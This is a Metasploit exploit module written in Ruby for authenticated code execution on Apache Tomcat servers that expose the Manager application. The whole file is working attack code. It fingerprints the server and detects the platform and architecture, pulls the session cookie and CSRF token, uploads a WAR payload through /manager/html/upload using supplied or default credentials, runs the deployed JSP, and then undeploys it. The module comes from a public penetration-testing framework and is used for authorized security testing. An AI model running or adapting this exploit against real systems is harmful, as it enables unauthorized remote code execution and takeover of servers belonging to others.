##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
CSRF_VAR = 'CSRF_NONCE='
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Tomcat Manager Application Upload Authenticated Code Execution',
'Description' => %q{
This module can be used to execute a payload on Apache Tomcat servers that
have an exposed "manager" application. The payload is uploaded as a WAR archive
containing a jsp application using a POST request against the /manager/html/upload
component.
NOTE: The compatible payload sets vary based on the selected target. For
example, you must select the Windows target to use native Windows payloads.
},
'Author' => 'rangercha',
'License' => MSF_LICENSE,
'References' =>
[
# This is based on jduck's tomcat_mgr_deploy.
# the tomcat_mgr_deploy o longer works for current versions of tomcat due to
# CSRF protection tokens. Also PUT requests against the /manager/html/deploy
# aren't allowed anymore.
# There is no single vulnerability associated with deployment functionality.
# Instead, the focus has been on insecure/blank/hardcoded default passwords.
# The following references refer to HP Operations Manager
['CVE', '2009-3843'],
['OSVDB', '60317'],
['CVE', '2009-4189'],
['OSVDB', '60670'],
# HP Operations Dashboard
['CVE', '2009-4188'],
# IBM Cognos Express Default user/pass
['BID', '38084'],
['CVE', '2010-0557'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179'],
# IBM Rational Quality Manager and Test Lab Manager
['CVE', '2010-4094'],
['ZDI', '10-214'],
# 'admin' password is blank in default Windows installer
['CVE', '2009-3548'],
['OSVDB', '60176'],
['BID', '36954'],
# tomcat docs
['URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html']
],
'Platform' => %w{ java linux win }, # others?
'Targets' =>
[
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
#
# Platform specific targets only
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 09 2009'))
register_options(
[
OptString.new('USERNAME', [false, 'The username to authenticate as']),
OptString.new('PASSWORD', [false, 'The password for the specified username']),
# /cognos_express/manager/ for Cognos Express (19300)
OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager'])
], self.class)
end
def check
res = query_manager
disconnect
return CheckCode::Unknown if res.nil?
if res.code.between?(400, 499)
vprint_error("#{peer} - Server rejected the credentials")
return CheckCode::Unknown
end
return CheckCode::Safe unless res.code == 200
# if res.code == 200
# there should be access to the Tomcat Manager and to the status page
res = query_status
return CheckCode::Unknown unless res
plat = detect_platform(res.body)
arch = detect_arch(res.body)
return CheckCode::Unknown unless plat and arch
vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture")
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? "https" : "http"),
:user => datastore['USERNAME'],
:pass => datastore['PASSWORD'],
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
:active => true
)
return CheckCode::Appears
end
def exploit
@app_base = rand_text_alphanumeric(4 + rand(32 - 4))
@jsp_name = rand_text_alphanumeric(4 + rand(32 - 4))
#
# Find the session ID and the CSRF token
#
print_status("#{peer} - Retrieving session ID and CSRF token...")
unless access_manager?
fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
end
#
# Upload Payload
#
print_status("#{peer} - Uploading and deploying #{@app_base}...")
if upload_payload
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? "https" : "http"),
:user => datastore['USERNAME'],
:pass => datastore['PASSWORD'],
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
:active => true
)
else
fail_with(Failure::Unknown, "Upload failed")
end
#
# Execute Payload
#
print_status("#{peer} - Executing #{@app_base}...")
unless execute_payload
fail_with(Failure::Unknown, "Failed to execute the payload")
end
#
# Get the new CSRF token & session id
#
unless access_manager?
fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
end
#
# Delete the deployed payload
#
print_status("#{peer} - Undeploying #{@app_base} ...")
unless undeploy_app
print_warning("#{peer} - Failed to undeploy #{@app_base}...")
end
end
def query_status
path = normalize_uri(target_uri.path.to_s, 'status')
res = send_request_raw('uri' => path)
unless res and res.code == 200
vprint_error("Failed: Error requesting #{path}")
return nil
end
return res
end
def query_manager
path = normalize_uri(target_uri.path.to_s, '/html')
res = send_request_raw('uri' => path)
return res
end
def vars_get
vars = {}
unless @csrf_token.nil?
vars = {
"path" => @app_base,
"org.apache.catalina.filters.CSRF_NONCE" => @csrf_token
}
end
return vars
end
def detect_platform(body)
return nil if body.blank?
i=0
body.each_line do |ln|
ln.chomp!
i = 1 if ln =~ /OS Name/
if i == 9 or i == 11
if ln.include? "Windows"
return 'win'
elsif ln.include? "Linux"
return 'linux'
elsif i==11
return 'unknown'
end
end
i = i+1 if i > 0
end
end
def detect_arch(body)
return nil if body.blank?
i=0
body.each_line do |ln|
ln.chomp!
i = 1 if ln =~ /OS Architecture/
if i==9 or i==11
if ln.include? 'x86'
return ARCH_X86
elsif ln.include? 'i386'
return ARCH_X86
elsif ln.include? 'i686'
return ARCH_X86
elsif ln.include? 'x86_64'
return ARCH_X86
elsif ln.include? 'amd64'
return ARCH_X86
elsif i==11
return 'unknown'
end
end
i = i + 1 if i > 0
end
end
def find_csrf(res = nil)
return "" if res.blank?
vprint_status("#{peer} - Finding CSRF token...")
body = res.body
body.each_line do |ln|
ln.chomp!
csrf_nonce = ln.index(CSRF_VAR)
next if csrf_nonce.nil?
token = ln[csrf_nonce + CSRF_VAR.length, 32]
return token
end
return ""
end
def generate_multipart_msg(boundary, data)
# Rex::MIME::Message is breaking the binary upload when trying to
# enforce CRLF for SMTP compatibility
war_multipart = "-----------------------------"
war_multipart << boundary
war_multipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\""
war_multipart << @app_base
war_multipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
war_multipart << data
war_multipart << "\r\n-----------------------------"
war_multipart << boundary
war_multipart << "--\r\n"
end
def war_payload
payload.encoded_war({
:app_name => @app_base,
:jsp_name => @jsp_name,
:arch => target.arch,
:platform => target.platform
}).to_s
end
def send_war_payload(url, war)
boundary_identifier = rand_text_numeric(28)
res = send_request_cgi({
'uri' => url,
'method' => 'POST',
'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier,
'user' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'cookie' => @session_id,
'vars_get' => vars_get,
'data' => generate_multipart_msg(boundary_identifier, war),
})
return res
end
def send_request_undeploy(url)
res = send_request_cgi({
'uri' => url,
'vars_get' => vars_get,
'method' => 'POST',
'user' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'cookie' => @session_id
})
return res
end
def access_manager?
res = query_manager
return false unless res and res.code == 200
@session_id = res.get_cookies
@csrf_token = find_csrf(res)
return true
end
def upload_payload
war = war_payload
upload_path = normalize_uri(target_uri.path.to_s, "html", "upload")
vprint_status("#{peer} - Uploading #{war.length} bytes as #{@app_base}.war ...")
res = send_war_payload(upload_path, war)
return parse_upload_response(res)
end
def parse_upload_response(res)
unless res
vprint_error("#{peer} - Upload failed on #{upload_path} [No Response]")
return false
end
if res.code < 200 or res.code >= 300
vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401
vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]")
return false
end
return true
end
def execute_payload
jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp")
vprint_status("#{peer} - Executing #{jsp_path}...")
res = send_request_cgi({
'uri' => jsp_path,
'method' => 'GET'
})
return parse_execute_response(res)
end
def parse_execute_response(res)
unless res
vprint_error("#{peer} - Execution failed on #{@app_base} [No Response]")
return false
end
if res and (res.code < 200 or res.code >= 300)
vprint_error("#{peer} - Execution failed on #{@app_base} [#{res.code} #{res.message}]")
return false
end
return true
end
def undeploy_app
undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy")
res = send_request_undeploy(undeploy_url)
unless res
vprint_warning("#{peer} - WARNING: Undeployment failed on #{undeploy_url} [No Response]")
return false
end
if res and (res.code < 200 or res.code >= 300)
vprint_warning("#{peer} - Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]")
return false
end
return true
end
end
